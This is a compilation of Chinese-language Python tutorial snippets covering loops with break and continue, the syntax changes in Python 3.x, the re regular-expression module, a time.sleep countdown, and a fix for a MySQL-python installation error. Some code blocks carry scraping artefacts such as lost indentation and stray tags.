    把raw_input和if语句移到了while循环内,并且在while循环开始前把running变量设置为True。首先,我们检验变量running是否为True,然后执行后面的 while-块 。在执行了这块程序之后,再次检验条件,在这个例子中,条件是running变量。如果它是真的,我们再次执行while-块,否则,我们继续执行可选的else-块,并接着执行下一个语句。
    当while循环条件变为False的时候,else块才被执行——这甚至也可能是在条件第一次被检验的时候。如果while循环有一个else从句,它将始终被执行,除非你的while循环将永远循环下去不会结束!
True和False被称为布尔类型。你可以分别把它们等效地理解为值1和0。在检验重要条件的时候,布尔类型十分重要,它们并不是真实的值1。
    else块事实上是多余的,因为你可以把其中的语句放在同一块(与while相同)中,跟在while语句之后,这样可以取得相同的效果。
<strong>3. for ...in循环</strong>
for..in是另外一个循环语句,它在一序列的对象上递归,即逐一使用队列中的每个项目。

#!/usr/bin/python
# Filename: for.py
for i in range(1,5):
        print i
else:
        print 'The for loop is over'
 
[root@gflinux102 code]# python for.py
1
2
3
4
The for loop is over
 

在这个程序中,我们打印了一个 序列 的数。我们使用内建的range函数生成这个数的序列。
我们所做的只是提供两个数,range返回一个序列的数。这个序列从第一个数开始到第二个数为止。例如,range(1,5)给出序列[1, 2, 3, 4]。默认地,range的步长为1。如果我们为range提供第三个数,那么它将成为步长。例如,range(1,5,2)给出[1,3]。记住,range 向上 延伸到第二个数,即它不包含第二个数。
for循环在这个范围内递归——for i in range(1,5)等价于for i in [1, 2, 3, 4],这就如同把序列中的每个数(或对象)赋值给i,一次一个,然后以每个i的值执行这个程序块。在这个例子中,我们只是打印i的值。
记住,else部分是可选的。如果包含else,它总是在for循环结束后执行一次,除非遇到break语句。
记住,for..in循环对于任何序列都适用。这里我们使用的是一个由内建range函数生成的数的列表,但是广义说来我们可以使用任何种类的由任何对象组成的序列
注意序列中[]和()功能是相同的。
4. break语句
break语句是用来 终止 循环语句的,即哪怕循环条件没有称为False或序列还没有被完全递归,也停止执行循环语句。
一个重要的注释是,如果你从for或while循环中 终止 ,任何对应的循环else块将不执行。

#!/usr/bin/python
# Filename: break.py
while True:
        s = raw_input('Enter something : ')
        if s == 'quit':
                break
        print 'Length of the string is',len(s)
print 'Done'
 
Enter something : heheheh
Length of the string is 7
Enter something : quit
Done
 

在这个程序中,我们反复地取得用户地输入,然后打印每次输入地长度。我们提供了一个特别的条件来停止程序,即检验用户的输入是否是'quit'。通过 终止 循环到达程序结尾来停止程序。
输入字符串的长度通过内建的len函数取得。
记住,break语句也可以在for循环中使用。
5. continue语句
continue语句被用来告诉Python跳过当前循环块中的剩余语句,然后继续进行下一轮循环。

#!/usr/bin/python
# Filename: continue.py
while True:
s = raw_input('Enter something : ')
if s == 'quit':
break
if len(s) < 3: continue print 'Input is of the sufficient length' # Do other kinds of processing here... [/code] [code] Enter something : e Enter something : 3e Enter something : eee Input is of the sufficient length Enter something : rerer3e Input is of the sufficient length Enter something : quit [/code] 如果长度小于3,我们将使用continue语句忽略块中的剩余的语句。否则,这个循环中的剩余语句将被执行,我们可以在这里做我们希望的任何处理。 注意,continue语句对于for循环也有效。 来源:51cto

Python:Python 3.x 的革新

Python 3.x 版本在设计时为了向最好的语言前进,没有考虑向下兼容,许多针对早期 Python 版本设计的程序都无法正常运行。本文简单介绍了 Python 3.x 版本较之 2.x 版本语法上的一些变化。
文件编码
默认源文件编码从 ASCII 变为 UTF-8,从而支持非 ASCII 字符标识符,这使得以下代码合法:

中国 = 'china'
print(中国)
 

函数

    去除 print 语句,加入 print() 函数实现相同的功能;
    exec 语句也已改为exec()` 函数;
    删除了 raw_input(),统一使用 input();
    xrange() 改名为 range(),要想使用 range() 获得一个 list,必须显式调用:list(range(10));
    函数 zip()、map() 和 filter() 将返回迭代器 ;
    去除了 apply()、callable()、coerce()、execfile() 和 reload() 函数;
    reduce() 移动到了 functools 模块;
    添加 repr() 函数实现 2.x 版本中反引号的功能;
    修改了 oct() 函数,增加了 bin() 函数;
    元组参数解包使用方法变为:def func(*z, **p): pass;
    dict 的 .keys()、.items() 和 .values() 方法返回迭代器,iterkeys()、dict.has_key() 被废弃,可用 in 替代;
 

print 函数语法区别

print("行末不换行", end=" ")
print >>sys.stderr, "fatal error"     # 2.x 流转向
print("fatal error", file=sys.stderr) # 3.x 流转向
 

字符串格式化变化

>>> "I love {0}, {1}, and {param}".format("eggs", "bacon", param="sausage")
'I love eggs, bacon, and sausage'
 

数学运算

    除法成为了真正的除法,也即 5/2 结果为 2.5;
    取整的除法使用 //,也即 5//2 结果为 2;
    不等号只能用 !=;
    如果 x < y 不能比较,抛出 TypeError 异常而非返回伪随机布尔值;
 &#91;/code&#93;
<strong>数据类型</strong>

    现在字符串只有 str 一种类型,但与 2.x 版本的 unicode 基本一致;
    去除了 long 类型,保留整型 int——实际相当于 2.x 版本的 long 类型;
    新增 bytes 类型。
 

其它细节

    扩展的可迭代解包:a, b, *rest = seq 和 *rest, a = seq,只要 rest 为 list 并且 seq 可迭代;
    关键词加入 as、with、True、False、None`;
    加入 nonlocal 语句。使用 noclocal x 可以直接指派外部(非全局)变量。
 

面向对象

    引入抽象基类(Abstraact Base Classes,ABCs)并增加了 @abstractmethod 和 @abstractproperty 两个 decorator 使抽象方法(属性)编写更加方便;
    废弃了 file 类;
    迭代器的 next() 方法改名为 __next__(),并增加内置函数 next(),用以调用迭代器的 __next__() 方法 ;
 

异常

    抛出异常:使用 raise Exception(args) 而非 raise Exception, args;
    捕获异常:使用 except Exception as identifier 而非 except Exception, identifier;
 

模块变动

    移除了cPickle、imageop、audiodev、Bastion、bsddb185、exceptions、linuxaudiodev、md5、MimeWriter、mimify、popen2、rexec、sets、sha、stringold、strop、sunaudiodev、timing、xmllib、bsddb 以及 new 模块。
    模块名称变化:Tkinter → tkinter 、ConfigParser → configparser、ttk → tkinter.ttk 、tkMessageBox → tkinter.messagebox、 tkColorChooser → tkinter.colorchooser、 tkFileDialog → tkinter.filedialog、 tkCommonDialog → tkinter.commondialog、 tkSimpleDialog → tkinter.simpledialog、 tkFont → tkinter.font、
    Tkdnd → tkinter.dnd、 ScrolledText → tkinter.scrolledtext 以及 Tix → tkinter.tix。
 

来源:cnblogs

正则表达式:Python 模块 re 简介

正则表达式简介
正则表达式(RegExp)是一种文本模式,包括普通字符(例如,a 到 z 之间的字母)和特殊字符(元字符)。
为了使文章更具可读性,本文将正则表达式冗长的 语法介绍 放在了文章的末尾。
运算符的优先级
正则表达式运算符的优先级顺序由高到低依次为:
转义符:\
括号和中括号:(),(?:),(?=), [] 限定符:*,+,?,{n},{n,},{n,m}
定位点和序列:^,$,\元字符,字符
替换:|
字符具有高于替换运算符的优先级,使得 m|food 匹配 m 或 food。若要匹配 mood 或 food,请使用括号创建子表达式,即 (m|f)ood。
Raw String
正则表达式使用反斜杠 \ 来代表特殊形式或用作转义字符,这里跟 Python 的语法冲突,因此,Python 只好用 \\\\ 匹配 \,因为正则表达式中如果要匹配 \,需要用 \ 来转义,变成 \\,而 Python 语法中又需要对字符串中每一个 \ 进行转义,所以就变成了 \\\\。
为了使正则表达式具有更好的可读性,Python 特别设计了 Raw String。Raw String 以 r 作为字符串的前缀,如 r”\n” 表示字符 \ 和 n。
并非所有的正则表达式都需要使用 Raw String,但 compile 方法必须以 r 作为字符串的前缀;
对于其他方法(如 match、search 等 )而言,是否以 r 作为字符串的前缀并不影响结果。
re 模块简介
re 模块提供了 Perl 风格的正则表达式模式。Perl 5 对标准正则表达式增加了几个附加功能,re 模块也支持其中的大部分。

正则表达式对象

compile(RegExp [, flags]) 可以把正则表达式编译成一个正则表达式对象。其中,RegExp 为正则表达式,flags 为编译标志。

import re
html = re.compile(r"<\s*(\S+)(\s&#91;^>]*)?>[\s\S]*<\s*/\1\s*>") # 匹配 HTML 标记(1)
 

编译标志
编译标志控制表达式的匹配方式。多个标志可以通过 | 来指定,如 re.I | re.M 被设置成 I 和 M 标志。
标志 含义
S 或 DOTALL 使 . 匹配包括换行在内的所有字符
I 或 IGNORECASE 使匹配对大小写不敏感
L 或 LOCALE 做本地化识别匹配
M 或 MULTILINE 多行匹配,影响 ^ 和 $
X 或 VERBOSE 提高正则表达式的可读性
X 标志的作用:
不在字符集中的空白字符将被忽略。这使得:dog | cat 和可读性差的 dog|cat 相同,但 [a b] 将匹配字符 a、b 或空格。
可以把注释放到正则表达式当中。注释从 # 开始到行末结束。

Xhtml = re.compile(r'''# 匹配 HTML 标记(2)
<\s*(\S+)(\s&#91;^>]*)?>   # 开始标签
[\s\S]*                # 标签内的文本
<\s*/\1\s*>            # 同名结束标签
''', re.X)             # 同样匹配 HTML 标记,方法(2)的可读性比(1)高了很多。
 

执行匹配
方法 用途
match(RegExp, string [, flags]) 从字符串的开始匹配一个模式,成功则返回 MatchObject 实例,否则返回 None
search(RegExp, string [, flags]) 在整个字符串内查找模式匹配,成功则返回 MatchObject 实例,否则返回 None
findall(RegExp, string [, flags]) 获取所有匹配的子串,并把它们作为一个列表返回
finditer(RegExp, string [, flags]) 获取所有匹配的子串,并把它们作为一个迭代器返回
若已将正则表达式 RegExp 编译成了正则表达式对象 RegPat,还可以使用 RegPat.match(string) 执行匹配。

string = '''Hello World!
<ul class="nav">
	<li class="inactive"> 云 </li>
	<li class="inactive"> 大数据 </li>
</ul>
'''
match_1 = re.match("\s\S*",string)
match_2 = re.match("\S*",string)
search_1 = re.search("\s\S*",string)
search_2 = Xhtml.search(string)
print(match_1, "\n", match_2, end = "\n-------------\n ")
print(search_1, "\n", search_2)
 

Output:

None
 <_sre.SRE_Match object; span=(0, 5), match='Hello'>
-------------
 <_sre.SRE_Match object; span=(5, 12), match=' World!'>
 <_sre.SRE_Match object; span=(13, 99), match='<ul class="nav">\n\t<li class="inactive"> 云 </li>>
 

MatchObject 实例
方法 用途
group() 返回匹配的字符串
start() 返回匹配开始的位置
end() 返回匹配结束的位置
span() 返回一个二元元组: (开始位置,结束位置)

print(search_2.group())
 

Output:

<ul class="nav">
	<li class="inactive"> 云 </li>
	<li class="inactive"> 大数据 </li>
</ul>
 

操作字符串
方法 用途
split(RegExp, string [, maxsplit = 0]) 将字符串在匹配的位置分片,并生成一个列表;若 maxsplit 非零,则只能得到 maxsplit 个分片
sub(RegExp, replacement, string[, count = 0]) 找到所有匹配的子串,并用其它的字符串替换;若 count 非零,则最多执行 count 次替换
subn(RegExp, replacement, string) 与 sub 类似,但返回二元元组:(新的字符串,执行替换的次数)

print(re.split("\n",string))                                 # 用回车符分片
print(re.sub("\t", lambda m: '[' + m.group() + ']', string)) # 将制表符用 [ ] 括起来
 

Output:

['Hello World!', '<ul class="nav">', '\t<li class="inactive"> 云 </li>', '\t<li class="inactive"> 大数据 </li>', '</ul>', '']
Hello World!
<ul class="nav">
[	]<li class="inactive"> 云 </li>
[	]<li class="inactive"> 大数据 </li>
</ul>
 

正则表达式的基本语法
\:将下一字符标记为特殊字符、文本、反向引用或八进制转义符。例如, n 匹配字符 n, \n 匹配 \n。序列 \\ 匹配 \ , \( 匹配 ( 。
^:匹配输入字符串开始的位置。如果设置了 RegExp 对象的 Multiline 属性,^ 还会与 \n 或 \r 之后的位置匹配。
$:匹配输入字符串结尾的位置。如果设置了 RegExp 对象的 Multiline 属性,$ 还会与 \n 或 \r 之前的位置匹配。
*:零次或多次匹配前面的字符或子表达式。例如,zo* 匹配 z 和 zoo 。* 等效于 {0,}。
+:一次或多次匹配前面的字符或子表达式。例如, zo+ 与 zo 和 zoo 匹配,但与 z 不匹配。+ 等效于 {1,}。
?:零次或一次匹配前面的字符或子表达式。例如, do(es)? 匹配 do 或 does 中的 do 。? 等效于 {0,1}。
{n:n 是非负整数。正好匹配 n 次。例如, o{2} 与 Bob 中的 o 不匹配,但与 food 中的两个 o 匹配。
{n,}:n 是非负整数。至少匹配 n 次。例如, o{2,} 不匹配 Bob 中的 o ,而匹配 food 中的所有 o。 o{1,} 等效于 o+ 。 o{0,} 等效于 o* 。
{n,m}:M 和 n 是非负整数,其中 n <= m。匹配至少 n 次,至多 m 次。例如, o{1,3} 匹配 fooooood 中的头三个 o。o{0,1} 等效于 o?。 ?:当此字符紧随任何其他限定符(*、+、?、{n}、{n,}、{n,m})之后时,匹配模式是非贪心的。非贪心的模式匹配搜索到的,尽可能短的字符串,而默认的贪心模式匹配搜索到的,尽可能长的字符串。例如,在字符串 oooo 中, o+? 只匹配单个 o,而 o+ 匹配所有 o。 .:匹配除 \n 之外的任何单个字符。若要匹配包括 \n 在内的任意字符,请使用诸如 [\s\S] 之类的模式。 (pattern):匹配 pattern 并捕获该匹配的子表达式。可以使用 \num 对捕获子表达式进行反向引用。括号 ( ) 使用 \( 或者 \) 匹配 。 (?:pattern):匹配 pattern 但不捕获该匹配的子表达式,即它是一个非捕获匹配,不存储供以后使用的匹配。这对于用 | 组合模式部件的情况很有用。例如,industr(?:y|ies) 是比 industry|industries 更经济的表达式。 (?=pattern):执行正向预测先行搜索的子表达式,该表达式匹配处于匹配 pattern 的字符串的起始点的字符串。它是一个非捕获匹配,即不能捕获供以后使用的匹配。例如,Windows (?=95|98|NT|2000) 匹配 Windows 2000 中的 Windows ,但不匹配 Windows 3.1 中的 Windows 。预测先行不占用字符,即发生匹配后,下一匹配的搜索紧随上一匹配之后,而不是在组成预测先行的字符后。 (?!pattern):执行反向预测先行搜索的子表达式,该表达式匹配不处于匹配 pattern 的字符串的起始点的搜索字符串。它是一个非捕获匹配,即不能捕获供以后使用的匹配。例如,Windows (?!95|98|NT|2000) 匹配 Windows 3.1 中的 Windows ,但不匹配 Windows 2000 中的 Windows 。预测先行不占用字符,即发生匹配后,下一匹配的搜索紧随上一匹配之后,而不是在组成预测先行的字符后。 x|y:匹配 x 或 y。例如,z|food 匹配 z 或 food 。(z|f)ood 匹配 zood 或 food 。 [xyz]:字符集。匹配包含的任一字符。例如, [abc] 匹配 plain 中的 a 。 [^xyz]:反向字符集。匹配未包含的任何字符。例如, [^abc] 匹配 plain 中的 p 。 [a-z]:字符范围。匹配指定范围内的任何字符。例如, [a-z] 匹配 a 到 z 范围内的任何小写字母。 [^a-z]:反向范围字符。匹配不在指定的范围内的任何字符。例如, [^a-z] 匹配任何不在 a 到 z 范围内的任何字符。 \b:匹配一个字边界,即字与空格间的位置。例如, er\b 匹配 never 中的 er ,但不匹配 verb 中的 er 。 \B:非字边界匹配。 er\B 匹配 verb 中的 er ,但不匹配 never 中的 er 。 \cx:匹配 x 指示的控制字符。例如,\cM 匹配 Control-M 或回车符。x 的值必须在 A-Z 或 a-z 之间。否则假定 \c 就是 c 字符本身。 \d:数字字符匹配。等效于 [0-9]。 \D:非数字字符匹配。等效于 [^0-9]。 \f:换页符匹配。等效于 \x0c 和 \cL。 \n:换行符匹配。等效于 \x0a 和 \cJ。 \r:匹配一个回车符。等效于 \x0d 和 \cM。 \s:匹配任何空白字符,包括空格、制表符、换页符等。与 [ \f\n\r\t\v] 等效。 \S:匹配任何非空白字符。与 [^ \f\n\r\t\v] 等效。 \t:制表符匹配。与 \x09 和 \cI 等效。 \v:垂直制表符匹配。与 \x0b 和 \cK 等效。 \w:匹配任何字类字符,包括下划线。与 [A-Za-z0-9_] 等效。 \W:与任何非单词字符匹配。与 [^A-Za-z0-9_] 等效。 \xn:匹配 n,此处的 n 是一个十六进制转义码。十六进制转义码必须是两位数长。例如, \x41 匹配 A 。允许在正则表达式中使用 ASCII 代码。 \num:匹配 num,此处的 num 是第 num 个捕获子表达式的反向引用。例如, (.)\1 匹配两个连续的相同字符。 \n: 标识一个八进制转义码或反向引用。如果 \n 前面至少有 n 个捕获子表达式,那么是反向引用。如果 n 是八进制数 0-7,那么是八进制转义码。 \nm:标识一个八进制转义码或反向引用。如果 \nm 前面至少有 nm 个捕获子表达式,那么是反向引用。如果 \nm 前面至少有 n 个捕获,则是反向引用,后面跟有字符 m。如果两种前面的情况都不存在,则 \nm 匹配八进制值 nm,其中 n 和 m 是八进制数 0-7。 \nml:当 n 是八进制数 0-3,m 和 l 是八进制数 0-7 时,匹配八进制转义码 nml。 \un:匹配 n,其中 n 是以四位十六进制数表示的 Unicode 字符。例如,\u00A9 匹配版权符号 ©。 来源:http://www.cnblogs.com/Pandaman/p/RegExp.html

python 编写延时操作

如何使用python语言来编写延迟操作呢? 请看下面的代码:

import time
for i in range (10,-1,-1):
    print i
    time.sleep(1)
 
import time
for i in range (11)[::-1]:
    print i
    time.sleep(1)
 

python 中mysql_config not found 错误的解决办法

在python中安装MySQL_python。不想通过下载源码编译,而是想用

easy_install MySQL_python
 

来安装。结果一直报错:

mysql_config not found
 

网上很多资料说要通过修改site.cfg来指定mysql_config的位置。我想只是因为我的macos里的mysql没有安装到系统默认位置导致的。考虑到系统会到/usr/bin找mysql,那自然也会去这里找mysql_config。于是安装语句变成了:

easy_install MySQL-python --with-mysql_config=/usr/local/mysql-5.6.20-osx10.8-x86_64/bin/mysql_config
 

就通过了。